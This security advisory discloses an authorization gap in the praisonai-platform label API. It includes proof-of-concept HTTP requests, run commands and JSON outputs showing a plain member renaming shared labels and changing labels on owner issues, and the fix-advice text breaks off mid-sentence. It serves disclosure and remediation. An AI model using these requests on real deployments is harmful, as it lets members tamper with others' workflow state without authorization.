Summary

PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization

Advisory details

Platform members can rewrite shared labels and owner issue labels without owner/admin authorization

Summary

praisonai-platform lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.

Technical Details

The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/labels.py defines PATCH /workspaces/{workspace_id}/labels/{label_id} with user: AuthIdentity = Depends(require_workspace_member). The route verifies the label belongs to the URL workspace, then calls LabelService.update(label_id, body.name, body.color), which writes the shared label name/color.

The paired label delete route shows a stricter intended boundary. DELETE /workspaces/{workspace_id}/labels/{label_id} also verifies the label belongs to the URL workspace, but then calls require_delete_permission(workspace_id, user, session) before deleting. require_delete_permission() allows workspace admins/owners, or a supplied resource_owner_id; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives 403 for direct label deletion in current head, 0.1.6, and 0.1.8.

The issue-label link routes have the same under-authorized write boundary. POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} and DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} require only workspace membership after confirming the issue and label belong to the URL workspace. They then call LabelService.add_to_issue(issue_id, label_id) or LabelService.remove_from_issue(issue_id, label_id) without checking whether the caller owns the issue or has workspace admin/owner authority.

As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return 403, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain member, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.

Essential excerpt:

member_delete_label = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}",
    headers=member_headers,
)

member_patch_label = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
    json={"name": "Member-controlled triage", "color": "#000000"},
    headers=member_headers,
)

member_remove_from_owner_issue = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
    headers=member_headers,
)

member_add_back_to_owner_issue = await client.post(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
    headers=member_headers,
)

outsider_patch_label = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
    json={"name": "Outsider attempt"},
    headers=outsider_headers,
)

The full PoV script is included in the appendix below.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json

Decisive current-head output:

{
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "vulnerable": true,
  "checks": {
    "initial_owner_issue_labels": [
      "Owner triage"
    ],
    "member_direct_label_delete": 403,
    "member_patch_label": 200,
    "owner_observed_label_name_after_member_patch": "Member-controlled triage",
    "owner_observed_label_color_after_member_patch": "#000000",
    "member_remove_label_from_owner_issue": 204,
    "owner_issue_labels_after_member_remove": [],
    "member_add_label_to_owner_issue": 204,
    "owner_issue_labels_after_member_add": [
      "Member-controlled triage"
    ],
    "non_member_patch_label": 403,
    "non_member_add_label_to_issue": 403,
    "owner_delete_label": 204
  }
}

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json

Decisive latest-PyPI output:

{
  "source": "pypi:praisonai-platform==0.1.8",
  "vulnerable": true,
  "checks": {
    "member_direct_label_delete": 403,
    "member_patch_label": 200,
    "member_remove_label_from_owner_issue": 204,
    "member_add_label_to_owner_issue": 204,
    "non_member_patch_label": 403,
    "non_member_add_label_to_issue": 403
  }
}

Version sweep excerpt:

current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204

The 0.1.4 result is not a clean negative. It means direct member label deletion still returned 204 in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.

Impact

An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.

Suggested Fix

Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for PATCH /labels/{label_id}, POST /issues/{issue_id}/labels/{label_id}, and DELETE /issues/{issue_id}/labels/{label_id} when the target issue or shared label was not created by the caller.

If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.

Add regression tests for these cases: a member cannot rename/recolor a shared label if lab

References